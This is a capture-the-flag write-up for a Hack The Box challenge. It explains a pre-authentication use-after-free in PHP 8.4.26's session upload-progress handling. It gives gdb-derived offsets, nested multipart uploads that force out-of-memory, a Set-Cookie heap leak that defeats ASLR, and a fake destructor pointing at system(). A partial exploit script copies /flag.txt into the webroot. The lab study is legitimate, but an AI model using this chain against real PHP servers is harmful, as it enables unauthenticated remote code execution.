Dark Embargo WriteUp

Table of Contents

Dark Embargo WriteUp

Dark Embargo is a ๐ŸŸง Medium challenge from the Web category of Hack The Box, created by TheCyberGeek. And I say “Web” with air quotes, because there is barely any web here. We get a single static corporate page, no forms, no parameters, with a “maintenance mode” banner. The only lead they hand us is the X-Powered-By header. The real target is not the application, it is the PHP running underneath it.

That PHP is version 8.4.26, the last release that still carries the session.upload_progress bug known as PHP2Shell (CVE-2026-109618 and CVE-2026-109619). The idea is easy to tell and hard to pull off. We force an out-of-memory condition at the worst possible moment, PHP aborts without cleaning up and leaves us two pointers aimed at freed memory. One we turn into a leak that defeats ASLR, the other into a fake object whose “destructor” ends up being system(). All of it unauthenticated.

๐Ÿง  Honest heads up. This is real memory corruption. We are going to stand up an identical local replica and use gdb to recover the offsets, exactly like anyone who wants to understand what is going on instead of copying numbers blindly.

๐Ÿ—บ๏ธ Strategy

PHP 8.4.26 + Apache mod_php (prefork, multi-worker, KeepAlive On)
      โ”‚
      โ”‚ (1) nested multipart upload that blows past memory_limit
      โ–ผ
OOM -> zend_bailout() skips cleanup
      โ”‚  PS(id)  and  PS($_SESSION)  left dangling (use-after-free)
      โ–ผ
(2) LEAK: reoccupy the freed id with a zend_string of huge len
      โ”‚  the Set-Cookie dumps ~600 KB of heap
      โ”‚  -> ZendMM chunk base  +  libphp.so base
      โ–ผ
(3) FIRE: reoccupy $_SESSION with a fake reference
      โ”‚  points at a fake zend_array whose pDestructor = zif_system
      โ–ผ
teardown -> pDestructor(cmd) -> system("cat /flag.txt > webroot")
      โ–ผ
Flag  ->  HTB{...}

The whole chain rides on a single keep-alive connection so it always lands on the same worker, but we get to that at the end.

๐Ÿ“ฆ Recon

Spawning the challenge gives us a host and little else. The page is a corporate brochure with nothing to touch.

curl -s -I http://TARGET:PORT/

Dark Embargo WriteUp

HTTP/1.1 200 OK
Server: Apache/2.4.69 (Debian)
X-Powered-By: PHP/8.4.26

There is our lead. PHP/8.4.26. When the application gives you nothing, you go after the runtime that serves it.

The challenge ships a .zip with the full build, so we do not have to guess the configuration. We unzip it and read the Dockerfile.

unzip -o web_dark_embargo.zip && cat web_dark_embargo/Dockerfile
FROM php:8.4.26-apache
COPY --chown=www-data:www-data index.php /var/www/html/index.php
COPY flag.txt /flag.txt
RUN chmod 0777 /flag.txt
EXPOSE 80

Two things stand out. The image is the official php:8.4.26-apache with no custom php.ini, so every setting is a compiled-in default. And index.php holds not a single line of PHP, it is plain HTML.

grep -c '<?php' web_dark_embargo/index.php
0

The web is a decoy. The real target is PHP 8.4.26 on its defaults, and four of those defaults are the ones that open the door. memory_limit = 128M, session.upload_progress.enabled = On, an empty session.save_path that falls back to /tmp, and display_errors = Off on the web SAPI (which means nothing we do shows up on the page).

๐Ÿ”Ž The bug: an OOM at the worst moment

session.upload_progress is a feature for drawing upload progress bars. You put a PHP_SESSION_UPLOAD_PROGRESS field in a multipart form, send a PHPSESSID cookie, and PHP keeps track of how far the upload got so a second request can poll it. The key part is that this runs inside the multipart parser (main/rfc1867.c), before any script runs. In other words, it is a pre-auth code path we reach without the server holding a single line of our PHP.

So where is the flaw? PHP caps memory per request with memory_limit. Cross it and the Zend memory manager does not return NULL like a normal malloc, it raises a fatal error and calls zend_bailout(), which is a longjmp back to the top of the request handler.

That jump skips the request’s normal teardown. The session module never clears its globals and the memory manager just resets its bookkeeping. The result is that the two pointers the session was holding, the session id and the $_SESSION array, are left pointing at a piece of heap that is now free. They dangle.

๐Ÿง  The heart of the bug. If we shape an upload that allocates the session objects and then crosses memory_limit on the next allocation, the worker is left in that broken state. And since Apache’s prefork children are long-lived, it persists in that child until the memory is reused. From here, the whole job is turning those two dangling pointers into a system() call.

We can watch it live. We slowly upload a large file with curl and read the session file mid-stream.

head -c 5M /dev/zero > /tmp/big
curl -s -b 'PHPSESSID=demo' \
     -F 'PHP_SESSION_UPLOAD_PROGRESS=x' \
     -F 'file=@/tmp/big' \
     --limit-rate 80k http://127.0.0.1:8083/index.php &
sleep 2
docker exec dark_embargo cat /tmp/sess_demo
upload_progress_x|a:5:{s:10:"start_time";...;s:15:"bytes_processed";i:164085;s:4:"done";b:0; ...

The "done";b:0 confirms we caught the upload mid-flight. That pre-auth path that allocates and frees heap objects from data we control is exactly what we need.

๐Ÿ› ๏ธ A lab with gdb

None of this is visible from outside, so we stand up an identical copy of the image with a debugger attached. Here comes a detail that cost me hours and that no public PoC mentions, so hang on to it.

โš ๏ธ The current php:8.4.26-apache image is Debian trixie, not bookworm. Every PoC going around (9bie, dinosn, devploit, oreoo) is calibrated for bookworm. The libphp.so offsets match, but the ZendMM heap geometry over trixie’s malloc is different, so none of them land as-is. We have to recalibrate. That is exactly why we stand up the lab and use gdb, to recover OUR numbers.

We run the image with the ptrace capability and a single worker to get a predictable process while we reverse.

docker build -q -t dark_embargo web_dark_embargo/
printf 'StartServers 1\nMinSpareServers 1\nMaxSpareServers 1\nMaxRequestWorkers 1\nServerLimit 1\n' > mpm1.conf
docker run -d --name dark_dbg -p 127.0.0.1:8088:80 \
    --cap-add=SYS_PTRACE --security-opt seccomp=unconfined \
    -v "$PWD/mpm1.conf:/etc/apache2/mods-available/mpm_prefork.conf" \
    dark_embargo
docker exec dark_dbg bash -c 'apt-get update -qq && apt-get install -y gdb >/dev/null'

๐Ÿงฉ Exploitation

Step 1. The offsets, with gdb and not by eye

We want to reach zif_system, the C implementation of PHP’s system(). We also need zval_ptr_dtor (a known pointer that works as a landmark for the leak) and ps_globals (the struct with the session pointers). The image’s libphp.so has no debug info, but it still carries its symbol table, so gdb resolves them straight from the file.

docker exec dark_dbg gdb -q -batch -iex 'set auto-load safe-path /' \
    -ex 'info address zif_system' \
    -ex 'info address zval_ptr_dtor' \
    -ex 'info address ps_globals' \
    /usr/lib/apache2/modules/libphp.so
Symbol "zif_system"    is at 0x465370
Symbol "zval_ptr_dtor" is at 0x65eb60
Symbol "ps_globals"    is at 0x1316820

These are offsets relative to the load base of libphp.so. Inside ps_globals, the session id sits at +0x10 and $_SESSION at +0x168 (the php_session.h header says so).

Step 2. Force the OOM and see the dangling pointers

To cross memory_limit without sending 128 MB over the wire, we abuse how the parser stores nested file fields. A name like files[R00000][a][a]...[a] makes PHP build a chain of nested arrays in $_FILES, and with filename="" no temp file is created but every inner HashTable is still allocated. A few hundred fields at 64 levels deep push the heap past 128 MB with a body of only a few hundred KB.

We set a breakpoint on _zend_bailout, send the upload and look at the backtrace.

# arm (nested OOM): 880 files[R..][a]x62 fields + 115 fillers + the 2 session fields

Dark Embargo WriteUp

#0  _zend_bailout ()
#5  zend_mm_safe_error ()
#6  zend_mm_alloc_pages[cold] ()
#7  zend_mm_alloc_small_slow ()

Read bottom-up. A small allocation needs a fresh page, the page allocation crosses the limit and PHP turns it into a fatal that jumps with longjmp. The request dies there, before cleanup. That is the use-after-free.

Now we let the worker finish bailing and read the two session zval from ps_globals.

docker exec dark_dbg gdb -q -batch -iex 'set auto-load safe-path /' -p "$WORKER" \
  -ex 'printf "id.value  = 0x%lx\n", *(unsigned long*)((char*)&ps_globals + 0x10)' \
  -ex 'printf "hsv.value = 0x%lx\n", *(unsigned long*)((char*)&ps_globals + 0x168)'

Dark Embargo WriteUp

id.value   = 0x7ba7e88640c0    (chunk + 0x640c0)
hsv.value  = 0x7ba7e887a720    (chunk + 0x7a720)
chunk_base = 0x7ba7e8800000

Both pointers fall in the same 2 MB ZendMM chunk. And since a chunk is always 2 MB aligned, any pointer inside it masked with & ~0x1fffff gives us the chunk base. This is key for the leak. The freed id lives at chunk + 0x640c0 and the freed $_SESSION at chunk + 0x7a720. Two stable offsets for this build.

๐Ÿ’ก Notice the chunk base is 0x7ba7..., well below the usual 0x7fff.... ASLR can place the chunk anywhere in the canonical user range, so the leak decoder must not assume a fixed prefix. Assuming 0x7f... is exactly what makes these leaks flaky, and I burned a few hours on that badly placed filter.

Before forging any pointer we need to know where the heap and libphp.so sit this boot. Since the server returns no output, we make PHP leak its own memory in a header.

When PHP finishes a request it may send Set-Cookie: PHPSESSID=<id>. That id is a zend_string and PHP encodes it with php_url_encode(). The id we left dangling is also a zend_string, so if we reoccupy it with a fake header whose length field is ~600,000, php_url_encode() reads 600 KB of neighbouring heap and drops it into the Set-Cookie header. A 600 KB heap disclosure in a single request.

The fine detail that makes this shine is that we fill those 600 KB with real zend_array objects by injecting fields like z0[0]=aaaa. Why? Because each zend_array keeps in its pDestructor field a pointer to zval_ptr_dtor, which lives in libphp.so. With hundreds of arrays in the window, the leak brings back hundreds of copies of the same libphp pointer.

We decode the cookie eight bytes at a time. The 2 MB aligned value that appears most often is the chunk base. And any value whose low 12 bits match the page offset of zval_ptr_dtor (0xb60) and that sits at a plausible distance from the chunk is a pointer to that function, which gives us the libphp base as value - 0x65eb60.

Dark Embargo WriteUp

[+] leak ok: cookie=600008B  ptrs=17536  REAL_dtor=533
    chunk  = 0x7ba7e8800000
    libphp = 0x7ba7ea44f000   (delta +0x1c4f000)

533 copies of the real zval_ptr_dtor in the window. We check that the libphp base it yields matches exactly the one gdb read from ps_globals. ASLR defeated over the wire, with no normal output channel.

Step 4. The fake object and the fire

Now we reoccupy the freed $_SESSION (chunk + 0x7a720) and point it at a fake zend_array whose destructor is system(). The reclaim is a spray. We send a request full of fields whose bytes we control so PHP allocates many same-sized objects into the freed $_SESSION’s bin, until one lands on the hole.

Each spray value carries a fake zend_reference every 32 bytes, and all of them point at a 384-byte fake zend_array we also place in the spray. That fake array has:

  • pDestructor set to zif_system (libphp + 0x465370).
  • a fake bucket whose argument is a fake zend_string holding our command.

When PHP tears down that reoccupied $_SESSION, it walks zend_reference_destroy -> zend_array_destroy -> zend_hash_destroy -> pDestructor(&bucket), and pDestructor is zif_system, which runs our command.

zend_reference_destroy
   -> zend_array_destroy
      -> zend_hash_destroy -> pDestructor(&bucket)
         -> php_exec -> popen("our command")

The address of the fake array is the last number we need, we call it S. Since after the OOM the memory manager refills the freed region in a repeatable order, that block lands at the same chunk-relative offset every time. With gdb we put a breakpoint on popen and sweep S until it trips with our command. On this build, S = chunk + 0xF5398.

Dark Embargo WriteUp

Breakpoint, popen () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) x/s $rdi
0x7ba7e88f5430: "id>/tmp/p1"
(gdb) bt 6
#0  popen ()
#1  php_exec ()
#3  zend_hash_destroy ()
#4  zend_array_destroy ()
#5  zend_reference_destroy ()

That backtrace is the whole exploit read bottom-up. Our fake reference reoccupies $_SESSION, points at our fake array at S, its pDestructor is zif_system and it ends in popen("id>/tmp/p1"). The command runs as www-data.

Step 5. The real target is multi-worker

In the lab we forced a single worker to reverse. The real target uses the default prefork pool, with many workers and KeepAlive on. And here is the other detail no PoC talks about.

Every request in the chain (the leak, the arm, the fire) has to land on the same child to share heap and dangling pointers. The official writeup solves this by saturating the pool with 149 slow uploads that never finish, leaving a single worker free. I liked another path better, cleaner and more reliable.

๐Ÿง  Trick: a single keep-alive connection. In prefork, a keep-alive connection is served by the same child for its whole lifetime. So if we send leak, arm and fire over the same socket, they all land on the same worker with no need to tie up the others. And since the children inherit the parent’s address space through copy-on-write, ASLR is stable across that whole boot, so the base we leak is valid for any worker.

With that, we glue the three phases into a single script. The leak sometimes needs a couple of tries and the fire too, so we iterate. The OOM bailout corrupts nothing, the worker survives, and the fire lands on the first or second attempt.

#!/usr/bin/env python3
# dark_embargo.py  (chain summary, offsets for this trixie build)
ZIF, DTOR, S_OFF = 0x465370, 0x65eb60, 0xF5398

def leak(sock):
    # arm (OOM at send_cookie) + consumer: forged zend_string len=600000
    # + ~300 injected zend_array -> 600 KB window in the Set-Cookie
    # decode: chunk = most frequent 2MB-aligned value
    #         libphp = value with low12==0xb60 and delta in [0x1A00000, 0x1F00000]
    ...

def fire(sock, chunk, libphp):
    S   = chunk + S_OFF          # fake array
    zif = libphp + ZIF           # pDestructor = system()
    # arm (cheap_oom) -> $_SESSION dangles
    # spray: 500 + ht + 495 values of 384B, fake zend_reference/32B -> S
    ...

# everything over one keep-alive socket = same worker = same heap

The final command is the easy part. The box has no outbound network, so instead of a reverse shell we write the flag into the webroot (writable by www-data) and read it back over HTTP.

python3 dark_embargo.py TARGET PORT 'cat /flag.txt > /var/www/html/fx'
curl -s http://TARGET:PORT/fx

Dark Embargo WriteUp

[*] target TARGET:PORT  cmd=b'cat /flag.txt > /var/www/html/fx'
[+] leak ok (try 1): chunk=0x7fab4a000000 libphp=0x7fab4bc1b000
[*] S=0x7fab4a0f5398 zif_system=0x7fab4c080370
[+] RCE confirmed on fire attempt 1
PROOF: HTB{...}

Leak on the first try, fire on the first try. Full pre-auth RCE against a box that only served a static page.

๐Ÿšฉ Flag

HTB{...}

๐Ÿ“ Summary

#StepToolResult
1Fingerprintcurl -IX-Powered-By: PHP/8.4.26 over Apache mod_php
2Review the buildDockerfileOfficial image, defaults, 128M, upload_progress On, display_errors Off
3Recover offsetsgdb on libphp.sozif_system, zval_ptr_dtor, ps_globals (mind the trixie image)
4Force the OOMnested multipart uploadzend_bailout, PS(id) and $_SESSION dangling
5ASLR leakforged zend_string + arrays600 KB via Set-Cookie -> chunk + libphp
6Firefake zend_reference + zend_arraypDestructor = zif_system -> system()
7Pin the workerone keep-alive connectionleak + arm + fire on the same child
8Exfiltrationwrite to webroot + curlFlag ๐Ÿšฉ

A “Web” challenge that is really a memory corruption exploitation exercise from start to finish. If you followed the why behind each step, you now understand PHP2Shell better than most of the scripts floating around out there.

See you in the next challenge.